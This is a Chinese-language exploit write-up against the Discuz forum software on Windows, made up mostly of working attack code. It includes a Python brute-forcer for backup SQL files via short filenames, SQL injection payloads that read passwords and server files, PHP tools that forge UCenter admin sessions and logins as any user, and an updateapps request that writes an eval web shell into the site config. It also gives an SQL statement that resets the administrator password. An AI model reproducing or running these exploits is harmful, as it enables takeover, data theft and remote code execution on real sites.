windows discuz exploit
前提如果目标存在数据库备份
则可以通过windows短文件名得到备份sql文件
cmd dir /x可以看见短文件名
利用爆破下载
这里笔者写了一个检验脚本
use
python3 time.py 2020-12-1 2020-12-21 http://192.168.1.104 1
import datetime import sys import requests header = { "Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01", "Accept-Encoding":"gzip, deflate, br", "Accept-Language":"zh-CN,zh;q=0.9", "Connection":"keep-alive", "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36", "X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==", "X-Requested-With":"XMLHttpRequest", } def OKtxt(str): with open("OKTIME.txt",'a') as b: b.write(str+'\n') def OKstxt(str): with open("OKurl.txt",'a') as b: b.write(str+'\n') def OKurl(url,data,sqltime,lens): try: r=requests.get(url=url+'/data/backup~'+str(data)+'/'+str(sqltime)+'~1.sql',headers=header,timeout=10) if len(r.text) != lens: print("===========have SQLback fund ===========") print(url+'/backup~'+str(data)+'/'+sqltime+'~1.sql') OKstxt(url+'/backup~'+str(data)+'/'+sqltime+'~1.sql') else: print("=========== no have ===========") print(url+'/backup~'+str(data)+'/'+sqltime+'~1.sql') except: print("===========badly===========") def create_assist_date(start,end): # 创建日期辅助表 datestart = start dateend = end # 转为日期格式 datestart=datetime.datetime.strptime(datestart,'%Y-%m-%d') dateend=datetime.datetime.strptime(dateend,'%Y-%m-%d') date_list = [] OKtxt(datestart.strftime('%Y%m%d')[0:2]+datestart.strftime('%Y%m%d')[4:]) while datestart<dateend: # 日期叠加一天 datestart+=datetime.timedelta(days=+1) # 日期转字符串存入列表 OKtxt(datestart.strftime('%Y%m%d')[0:2]+datestart.strftime('%Y%m%d')[4:]) print(date_list) if __name__ == '__main__': create_assist_date(str(sys.argv[1]),str(sys.argv[2])) f =open("OKTIME.txt",'r') i=0 sqltimes=f.readlines() r=requests.get(url=sys.argv[3]+'/data/backup~1/301212~1.sql',headers=header,timeout=10) s=len(r.text) for sqltime in sqltimes: if len(sqltime)>2: OKurl(sys.argv[3],sys.argv[4],sqltime[0:-1],s) else: print("======== OVer ========")
好了接下来我们得到了备份sql 如果备份sql里面存在关键信息(比如管理员密码 uc_key)
在pre_ucenter_applications
的authkey字段找到UC_KEY(dz)
php $hash = unhex(0x78394c31656645316666313761344f37693135387863536255666f31553256374c65626566336739373459644734773045324c66493473355231703274346d35) $salt = unhex(0x323565616462)
管理员密码的hash生成规则md5(md5($password).$salt),可以本地跑一下密码
UC_KEY(dz),也就是upload/config/config_ucenter.php下的UC_KEY
其实DZ一共有两个UC_KEY,另一个在upload/uc_server/data/config.inc.php,用来做uc_server的校权,这里叫UC_KEY(server)。SQL备份泄漏的UC_KEY(dz)主要作用与DZ主程序,包括伪造前台的任意用户(没啥用),而UC_KEY(server)能修改任意后台管理员的密码(很有用)
利用uc_key(dz)构造前台注入exp
注入exp
$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';
读文件exp
$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf8" /> <title>UCenter Login!</title> <style type="text/css"> body, div, td {font-size: 12px;font-family: Arial, sans-serif;color: #333;line-height: 16px;} a{color:#833;text-decoration:none;} a:hover{color:#147;text-decoration:underline;} </style> </head> <body> <body onload="document.shell.host.focus();"> <form name="shell" method="POST" action=""> <table border="0" cellpadding="0" cellspacing="5"> <tr> <td valign="top">Host:</td> <td><input name="host" cols="45" rows="5"></input> </td> </tr> <tr> <td valign="top">Uckey:</td> <td><input name="uckey" cols="45" rows="5"></input> </td> </tr> <tr> <td></td> <td> <input type="submit" id="submit" name="fuck" value="Fuck It" /></td> </tr> </table> </form> <hr/> </body> </html> <?php if (isset($_POST['fuck'])) { $uckey = ($_POST['uckey']); $host = ($_POST['host']); if (preg_match('/http:\/\//',$host)) { $url=$host . "/uc_server/admin.php"; } elseif (preg_match('/https:\/\//',$host)) { $url=$host . "/uc_server/admin.php"; } else { $url="http://" . $host . "/uc_server/admin.php"; } $username = 'UCenterAdministrator'; $agent = $_SERVER['HTTP_USER_AGENT']; $cip = getenv('HTTP_CLIENT_IP'); $xip = getenv('HTTP_X_FORWARDED_FOR'); $rip = getenv('REMOTE_ADDR'); $srip = $_SERVER['REMOTE_ADDR']; if($cip && strcasecmp($cip, 'unknown')) { $ip = $cip; } elseif($xip && strcasecmp($xip, 'unknown')) { $ip = $xip; } elseif($rip && strcasecmp($rip, 'unknown')) { $ip = $rip; } elseif($srip && strcasecmp($srip, 'unknown')) { $ip = $srip; } $ip = '192.168.1.103'; //替换成你当前的ip,可使用XFF $authkey = md5($ip.$agent.$uckey); $check = substr(md5($ip.$agent), 0, 8); $sid = rawurlencode(_authcode("$username\t$check", 'ENCODE', $authkey, 1800)); $result = $url."?sid=".$sid; echo '<a href="'.$result.'" target="_blank">可不可以把我*到不要不要的?</a>'; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++){ $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++){ $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++){ $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE'){ if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)){ return substr($result, 26); }else{ return ''; } }else{ return $keyc.str_replace('=', '', base64_encode($result)); } } ?>
<?php $uc_key = "Ydo4GaI998V0p8v0b0p2XeweU2Wdido4X2vfTaq2McR196k5EbydIe5d87R3a9qf"; $time = time() + 7200; $encode = "time=".$time."&action=renameuser&newusername=123&uid=1' sql"; echo urlencode(authcode($encode,'ENCODE',$uc_key)); function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?>
针对于getshell来说,在x3以前的低版本和部分未更新的x3.2以前版本,我们可以直接利用discuz的uc_key(dz)结合api/uc.php前台getshell,获得uc_key(dz)的方法有:
<?php $time = time() + 7200; $host="192.168.1.104"; $uc_key="Ydo4GaI998V0p8v0b0p2XeweU2Wdido4X2vfTaq2McR196k5EbydIe5d87R3a9qf"; $code=urlencode(_authcode("time=$time&action=updateapps", 'ENCODE', $uc_key)); $cmd1='http://x\');eval($_POST[DOM]);// '; $cmd2='http://x '; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; //var_dump($message); $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } }?>
登录任意你知道uid的用户
<?php $uc_key="Ydo4GaI998V0p8v0b0p2XeweU2Wdido4X2vfTaq2McR196k5EbydIe5d87R3a9qf"; $a = 'time='.time().'&action=synlogin&uid=1'; echo $code=urlencode(_authcode($a, 'ENCODE', $uc_key)); function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } }
访问url
http://192.168.1.104/api/uc.php?code=acbbHGtDIKbJf3CY%2BX2v9J8XvcDYTo2FKdgw37hvs50W5Yyuy8ZpCvEEJF3jsFFpib5NFaCp00mpJeTr9RLKSHf%2F
利用uc_key(server)进入后台
dbbak.php-任意SQL执行
同样要利用UC_KEY(dz)构造数据包
1、在前台上传zip文件,内容为:这里你就要发挥你的想象了 或者用前面api/uc.php的sql注入爆出数据库名
UPDATE `windz`.`pre_ucenter_members` SET `password` = md5(concat(md5('password'),'12345678')), `salt` = '123456' WHERE `uid` = 1;
往uc_server/index.php传头像有固定的缓存的,在uc_server/data/tmp/upload{uid}.type
C:\Users\localhost\Desktop\Discuz_SC_UTF8\upload\uc_server\data\config.inc.php